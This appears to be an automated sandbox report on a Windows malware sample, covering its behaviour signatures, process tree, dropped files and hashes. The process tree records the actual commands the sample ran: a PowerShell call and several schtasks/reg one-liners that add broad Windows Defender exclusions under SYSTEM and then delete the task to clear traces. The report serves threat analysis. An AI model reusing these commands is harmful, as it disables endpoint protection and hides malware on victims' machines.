Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/10/2026, 00:24

General

  • Target
    install.2.0.03.exe
  • Size 34.6MB
  • Sample261023-ap29lsa13k
  • SHA256 403b2f75ca230571c41752865c1535b47b3998c14968d9e755f55bcc4ef608a1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.03.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.03.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:920
  • C:\Users\Public\oexWe0\pxwN10.exe
    "C:\Users\Public\oexWe0\pxwN10.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5248
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4516
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\oexWe0\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4968
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\oexWe0\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2172
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:6048
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5692
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:420
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:6012
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2984
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5520
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1248
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1564
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2700
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5516
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:5848
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4228
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1284
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1520
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4748
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4712
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:520
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1476
                        • C:\Program Files (x86)\hq9SO5\hq9SO5.exe
                          "C:\Program Files (x86)\hq9SO5\hq9SO5.exe"
                          2⤵
                            PID:4484
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\oexWe0" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4312
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\oexWe0" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1112
                        • C:\Users\Public\oexWe0\pxwN10.exe
                          "C:\Users\Public\oexWe0\pxwN10.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:4932
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:5376
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5768
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:5004
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3836
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:5780
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3468
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:3480

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                XPSPLOG.dll

                                • Path C:\Program Files (x86)\hq9SO5\XPSPLOG.dll
                                • Size 4.6MB
                                • SHA256 a194f9b56ab895d910f85859e5984fe4478abaaf573fd0b9482879da8b8ca7bf
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                hq9SO5.exe

                                • Path C:\Program Files (x86)\hq9SO5\hq9SO5.exe
                                • Size 145KB
                                • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                image.png

                                • Path C:\Program Files (x86)\hq9SO5\image.png
                                • Size 128KB
                                • SHA256 d1f7a82c162f9ffa9e8e535057242040d964b63bd0316455a01c20d09537e85a
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 1KB
                                • SHA256 671cea3c14d5ec2eb9f537d07d0a2e688ba7bdb42b5c8fc4003aafe51ee7d8a7
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 1KB
                                • SHA256 b7f21244d0db41358dc919a8b2bd7eca574d46a9e99ec47a81de7e44ff901296
                                • MD5 SHA1 SHA512 TLSH

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 512B
                                • SHA256 8200fc33483aaab7283da3a6c7c44eecd341e9e028a38926d73e183461bdc401
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 506B
                                • SHA256 25754c30c631aba4e7abe9fe93bbff290e1e3cbd76755bac63f2770469dd98ef
                                • MD5 SHA1 SHA512 TLSH

                                __PSScriptPolicyTest_kakeyqox.y43.psm1

                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kakeyqox.y43.psm1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512 TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\oexWe0\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 56366a4e705b5dc577129178baf7a7f4923fc6f567f380221878752e9c81b52e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\oexWe0\adoresd.dat
                                • Size 4.8MB
                                • SHA256 d947f6088663eb03a286aab413fefefeb0f1fe4af47b3efb6d4b6d34e6e40031
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\oexWe0\msadox.tb
                                • Size 8KB
                                • SHA256 f7af1a75c9e85985f6b9b38156bb9af1cfc522cd0ca77b39d623b29f998ef1de
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                pxwN10.exe

                                • Path C:\Users\Public\oexWe0\pxwN10.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/920-0-0x0000000000480000-0x000000000048E000-memory.dmp

                                memory/920-524-0x00007FFF30BD0000-0x00007FFF30BE2000-memory.dmp

                                memory/920-523-0x0000000000480000-0x000000000048E000-memory.dmp

                                memory/920-503-0x00007FFF30BD0000-0x00007FFF30BE2000-memory.dmp

                                memory/920-1-0x00000000004E0000-0x00000000004EC000-memory.dmp

                                memory/4484-673-0x00000000018C0000-0x00000000018C1000-memory.dmp

                                memory/4484-675-0x0000000074D60000-0x00000000754AA000-memory.dmp

                                memory/4516-604-0x0000025AF2AB0000-0x0000025AF2B62000-memory.dmp

                                memory/4516-599-0x0000025AF2280000-0x0000025AF22A2000-memory.dmp

                                memory/4516-603-0x0000025AF2850000-0x0000025AF286E000-memory.dmp

                                memory/4516-605-0x0000025AF2870000-0x0000025AF287A000-memory.dmp

                                memory/4932-587-0x000002557B5D0000-0x000002557BEA7000-memory.dmp

                                memory/4932-588-0x000002557B5D0000-0x000002557BEA7000-memory.dmp

                                memory/4932-589-0x000002557B5D0000-0x000002557BEA7000-memory.dmp

                                memory/4932-590-0x00007FFF38E50000-0x00007FFF38E52000-memory.dmp

                                memory/4932-586-0x000002557B5D0000-0x000002557BEA7000-memory.dmp

                                memory/4932-582-0x000002557B5D0000-0x000002557BEA7000-memory.dmp

                                memory/4932-581-0x00007FFF38E60000-0x00007FFF38E62000-memory.dmp

                                memory/4932-579-0x000002557B5D0000-0x000002557BEA7000-memory.dmp

                                memory/4932-576-0x00007FFF16230000-0x00007FFF1674E000-memory.dmp

                                memory/5248-538-0x0000022805B40000-0x0000022806417000-memory.dmp

                                memory/5248-566-0x0000022805B40000-0x0000022806417000-memory.dmp

                                memory/5248-565-0x0000022805B40000-0x0000022806417000-memory.dmp

                                memory/5248-563-0x0000022805B40000-0x0000022806417000-memory.dmp

                                memory/5248-559-0x0000022806960000-0x00000228069EA000-memory.dmp

                                memory/5248-560-0x0000022806960000-0x00000228069EA000-memory.dmp

                                memory/5248-561-0x0000022806960000-0x00000228069EA000-memory.dmp

                                memory/5248-558-0x0000022806960000-0x00000228069EA000-memory.dmp

                                memory/5248-555-0x0000022805B40000-0x0000022806417000-memory.dmp

                                memory/5248-557-0x0000022806880000-0x00000228068CE000-memory.dmp

                                memory/5248-549-0x0000022805B40000-0x0000022806417000-memory.dmp

                                memory/5248-545-0x0000022805B40000-0x0000022806417000-memory.dmp

                                memory/5248-544-0x0000022805B40000-0x0000022806417000-memory.dmp

                                memory/5248-537-0x00007FFF38E60000-0x00007FFF38E62000-memory.dmp

                                memory/5248-543-0x0000022805B40000-0x0000022806417000-memory.dmp

                                memory/5248-542-0x0000022805B40000-0x0000022806417000-memory.dmp

                                memory/5248-535-0x0000022805B40000-0x0000022806417000-memory.dmp

                                memory/5248-530-0x00007FFF16230000-0x00007FFF1674E000-memory.dmp

                                memory/5248-529-0x00007FFF38E50000-0x00007FFF38E52000-memory.dmp